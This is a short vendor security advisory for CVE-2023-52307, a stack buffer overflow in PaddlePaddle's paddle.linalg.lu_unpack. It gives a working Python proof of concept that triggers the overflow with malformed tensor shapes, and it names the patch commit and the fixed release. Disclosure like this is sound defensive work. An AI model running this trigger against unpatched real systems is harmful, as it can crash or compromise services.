CVE-2023-52307
Invalid shapes cuase stack buffer overflow in paddle.linalg.lu_unpack
. The PoC is as follows:
import paddle
import numpy as np
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [1, 6, 4, 8, 2]).astype(np.float32))
y = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32))
paddle.linalg.lu_unpack(x, y, True, True)
We have patched the issue in commit 10093636a10f29f73f13729b33570d8cafd58fb6. The fix will be included in PaddlePaddle 2.6.0.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Tong Liu of CAS-IIE.